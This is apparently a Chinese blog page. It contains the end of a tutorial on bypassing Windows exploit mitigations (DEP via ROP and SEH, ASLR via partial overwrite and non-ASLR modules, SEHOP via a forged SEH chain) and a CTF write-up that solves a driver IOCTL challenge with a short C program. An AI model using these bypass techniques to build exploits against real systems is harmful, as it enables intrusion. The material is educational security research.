如果在禁用NX後,又需要讀取esi或ebp,但此時它們又被我們填充的數據覆蓋掉了,那麼我們可以使用諸如push esp/pop esi/ret或者push esp/pop ebp/ret這樣的指令來調整esi和ebp,以使關閉DEP後還能夠正常執行。
輔助工具:ImmDbg pycommand插件(!pvefindaddr depxpsp3  + !findantidep)

3.利用WPN與ROP技術
ROP(Return Oriented Programming):連續調用程序代碼本身的記憶體地址,以逐步地建立一連串欲執行的指令序列。
WPM(Write Process Memory):利用微軟在kernel32.dll中定義的函數比如:WriteProcess Memory函數可將數據寫入到指定行程的記憶體中。但整個記憶體區域必須是可訪問的,否則將操作失敗。
具體實現方法參見我之前翻譯的文章《利用WPN與ROP技術繞過DEP》:http://bbs.pediy.com/showthread.php?t=119300

4.利用SEH 繞過DEP
啟用DEP後,就不能使用pop pop ret地址了,而應採用pop reg/pop reg/pop esp/ret 指令的地址,指令 pop esp 可以改變堆疊指標,ret將執行流轉移到nseh 中的地址上(用關閉NX 例程的地址覆蓋nseh,用指向pop/pop /pop esp/ret 指令的指標覆蓋異常處理器)。
輔助工具:ImmDbg插件!pvefindaddr

四、ASLR

原理:ASLR(地址空間佈局隨機化)技術的主要功能是通過對系統關鍵地址的隨機化,防止攻擊者在堆疊溢出後利用固定的地址定位到惡意代碼並加以運行。它主要對以下四類地址進行隨機化:
(1)堆地址的隨機化;
(2)棧基址的隨機化;
(3)PE文件映像基址的隨機化;
(4)PEB(Process Environment Block,行程環境塊)地址的隨機化。
它在vista,windows 2008 server,windows7下是默認啟用的(IE7除外),非系統鏡像也可以通過鏈接選項 /DYNAMICBASE(Visual Studio 2005 SP1 以上的版本,VS2008 都支持)啟用這種保護,也可手動更改已編譯庫的 dynamicbase 位,使其支持ASLR 技術(把PE 頭中的DllCharacteristics 設置成0x40 -可以
使用工具PE EXPLORER 打開庫,查看DllCharacteristics 是否包含0x40 就可以知道是否支持ASLR 技術)。另外,也 可以使用Process Explorer來查看是否開啟ASLR。啟用ASLR後,即使你原先已經成功構造出exploit,但在系統重啟後,你在 exploit中使用的一些固定地址就會被改變,進而導致exploit失效。

繞過方法:

1.覆蓋部分返回地址
對比下windows7系統啟動前後OD中loaddll.exe的各模組基址,啟動前:

可執行模組
基址       大小       入口       名稱       文件版本          路徑
00400000   00060000   00410070   loaddll                      D:\riusksk\TOOL\Ollydbg\loaddll.exe
6DDE0000   0008C000   6DDE1FFF   AcLayers   6.1.7600.16385 (  C:\Windows\AppPatch\AcLayers.dll
710E0000   00012000   710E1200   mpr        6.1.7600.16385 (  C:\Windows\System32\mpr.dll
71C50000   00051000   71C79834   winspool   6.1.7600.16385 (  C:\Windows\System32\winspool.drv
747F0000   00017000   747F1C89   userenv    6.1.7600.16385 (  C:\Windows\System32\userenv.dll
750A0000   0001A000   750A2CCD   sspicli    6.1.7600.16385 (  C:\Windows\System32\sspicli.dll
750C0000   0004B000   750C2B6C   apphelp    6.1.7600.16385 (  C:\Windows\System32\apphelp.dll
75190000   0000B000   75191992   profapi    6.1.7600.16385 (  C:\Windows\System32\profapi.dll
75420000   0004A000   75427A9D   KERNELBA   6.1.7600.16385 (  C:\Windows\system32\KERNELBASE.dll
75B50000   0000A000   75B5136C   LPK        6.1.7600.16385 (  C:\Windows\system32\LPK.dll
75B60000   0004E000   75B6EC49   GDI32      6.1.7600.16385 (  C:\Windows\system32\GDI32.dll
……

啟動後:

可執行模組
基址       大小       入口       名稱       文件版本          路徑
00400000   00060000   00410070   loaddll                      D:\riusksk\TOOL\Ollydbg\loaddll.exe
6F510000   0008C000   6F511FFF   AcLayers   6.1.7600.16385 (  C:\Windows\AppPatch\AcLayers.dll
715B0000   00012000   715B1200   mpr        6.1.7600.16385 (  C:\Windows\System32\mpr.dll
72170000   00051000   72199834   winspool   6.1.7600.16385 (  C:\Windows\System32\winspool.drv
74C70000   00017000   74C71C89   userenv    6.1.7600.16385 (  C:\Windows\System32\userenv.dll
75520000   0001A000   75522CCD   sspicli    6.1.7600.16385 (  C:\Windows\System32\sspicli.dll
75540000   0004B000   75542B6C   apphelp    6.1.7600.16385 (  C:\Windows\System32\apphelp.dll
75610000   0000B000   75611992   profapi    6.1.7600.16385 (  C:\Windows\System32\profapi.dll
75690000   0004A000   75697A9D   KERNELBA   6.1.7600.16385 (  C:\Windows\system32\KERNELBASE.dll
759B0000   000CC000   759B168B   msctf      6.1.7600.16385 (  C:\Windows\System32\msctf.dll
75E60000   000AC000   75E6A472   msvcrt     7.0.7600.16385 (  C:\Windows\system32\msvcrt.dll
75F10000   0004E000   75F1EC49   GDI32      6.1.7600.16385 (  C:\Windows\system32\GDI32.dll
……

由此可見,各模組基址的高位是隨機變化的,而低位是固定不變的,這裡loaddll.exe不受ADSL保護,所以其基址沒有隨機化,如果是 Notepad.exe就有啟用ASLR,還有其它經鏈接選項/DYNAMICBASE編譯的程序也會啟用ASLR。因此我們可以讓填充字符只覆蓋到返回 地址的一半,由於小端法機器的緣故,其低位地址在前,因此覆蓋到的一半地址剛好處於低位,而返回地址的高位我們讓它保持不變,所以我們必須在返回地址之前 的地址範圍內(相當於漏洞函數所在的255字節空間地址)查找出一個可跳轉到shellcode的指令,比如jmp edx(關鍵看哪一暫存器指向 shellcode)。除此之外,我們還必須將shellcode放在返回地址之前,不然連返回地址的高位也覆蓋掉了,這是不允許的。縱觀此法,相當的有 局限性,如果漏洞函數過短,可能就沒有我們需要的指令了,這時就得另尋他法了。

2.利用未啟用ASLR的模組地址
這與之前繞過SafeSEH的方法類似,直接在未受ASLR保護的模組中查找跳轉指令的地址來覆蓋返回地址或者SEH結構,可以通過 Process Explorer或者ImmDbg命令插件!ASLRdynamicbase或者(!pvefindaddr noaslr):來查看哪 些行程模組啟用ASLR保護。

五、SEHOP

原理:微軟在Microsoft Windows 2008 SP0、Microsoft Windows Vista SP1和 Microsoft Windows 7中加入了另一種新的保護機制 SEHOP(Structured Exception Handling Overwrite Protection),它可作為SEH的擴展,用於檢 測SEH是否被覆寫。SEHOP的核心特性是用於檢測程序棧中的所有SEH結構鏈表的完整性,特別是對最後一個SHE結構的檢測。在最後一個SEH結構中 擁有一個特殊的異常處理函數指標,指向一個位於ntdll中的函數ntdll!FinalExceptHandler()。當我們用 jmp 06 pop pop ret 來覆蓋SEH結構後,由於SEH結構鏈表的完整性遭到破壞,SEHOP就能檢測到異常從而阻止shellcode 的運行

繞過方法:

偽造SEH鏈表
由於SEHOP會檢測SEH鏈表的完整性,那麼我們可以通過偽造SEH鏈表來替換原先的SEH鏈表,進而達到繞過的目的。具體實現方法:

(1)查看SEH鏈表結構,可借助OD實現,然後記住最後一個SEH結構地址,以方便後面的利用;
(2)用JE(0x74) + 最後一個SEH結構的地址(由於地址開頭是00,故可省略掉,可由0x74替代,共同實現4字節對齊)去覆蓋nexSEH;
(3)用xor pop pop ret指令地址去覆蓋SEH handle,其中的xor指令是用於將ZF置位,使前面的JE = JMP指令,進而實現跳轉;
(4)在這兩個SEH結構之前寫入一跳轉指令(JMP+8),以避免數據段被執行;
(5)在這兩個SEH結構之間全部用NOP填充,如果兩者之間還有其它SEH結構的話;
(6)將shellcode放置在最後一個SEH結構之後,即ntdll!FinalExceptHandler()函數之後。

此時的堆疊佈局如下:
【NOP…】【JMP 08】【JE XXXXXX】【xor pop pop ret】【NOP…】【JMP 08】【0xFFFFFFFF】【ntdll!FinalExceptHandler】【shellcode】
                        ▲              ▲                                  ▲                   ▲
           next SEH(指向0xffffffff)  SEH Handle                          next SEH           SEH Handle

更多訊息可參見我之前翻譯的《繞過SEHOP安全機制》:http://bbs.pediy.com/showthread.php?t=104707

結論
本文簡單地敘述了windows平台上的各類溢出保護機制及其繞過方法,但若結合實例分析的話,沒有幾萬字是不可能完成的,因此這裡概覽一番,讀者若想獲 得相關的實例運用的資料,可參考文中提及一些paper,特別是由看雪論壇上dge兄弟翻譯的《Exploit編寫系列教程6》以及黑客雜誌 《Phrack》、《Uninformed》上的相關論文。微軟與黑客之間的鬥爭是永無休止的,我們期待著下一項安全機制的出現……

2012年7月22日 星期日

Hit 2012 binary 1 答案

感想:這題只有韓國隊PLUSX有解出來,讓我有點意外,其實題目設計不是為了難倒人,都是Windows Driver的基礎概念而已,下面解密一下讓許多人苦惱2天的題目....@_@



題目:Kenny意外地從探險家手上獲得了一張海外的藏寶圖,但看起來似乎失去了下半部分,你能幫助他找到寶藏嗎??

連結:http://dl.dropbox.com/u/19611440/binary1.zip

開啟Keyexe.jpge後會在Temp資料夾產生3個檔案



1  



解法一:



這題主要考的是Window Kernel Ioctl的概念,先用工具加載SYS驅動檔案後



透過發送0x6666Ioctl後,用Debugview可以看到關鍵的檔案名稱,

2  



下圖 0是加載驅動後提示,1是發送錯誤的Ioctl2是發送正確的Ioctl



3  

若發送正確的Ioctl 會顯示Boracay.exe

關鍵在於,必須把原始的.exe 名稱改成Boracay.exe

 4

重新執行後Keyà “hey it nice“就會透過DebugVIew (呼應OutputdebugString)噴出來。 PS:一定要Boracay.exe ---->爆破無效…XD

 5  



附上Code:




#include "stdafx.h"
#include "windows.h"
#define Symblo_NAME L"\\\\.\\Kenny"
#ifndef CTL_CODE
    #include 
#endif
                                                                                                                       
#define Pass_CTL_CODE CTL_CODE(FILE_DEVICE_UNKNOWN,0x6666,METHOD_BUFFERED,FILE_ANY_ACCESS)  

int _tmain(int argc, _TCHAR* argv[])

{
           HANDLE hDevice = CreateFile(Symblo_NAME,GENERIC_READ | GENERIC_WRITE,0,   NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL );
           UCHAR InputBuffer[10];
           UCHAR OutputBuffer[10];
           DWORD dwOutput;
           DeviceIoControl(hDevice, Pass_CTL_CODE, InputBuffer, 10, &OutputBuffer, 10, &dwOutput, NULL);
           return 0;
}



解法二(暴力法)



即使完全不懂Driver,用IDA也可以解,拖SYS檔案進IDA,找到

6  



手動算一下Xor 0x66 ,共11Byte,也是可以算出Boracay.exe



最後也必須把原始的.exe 名稱改成Boracay.exe,重新執行後Key就會噴出來。

7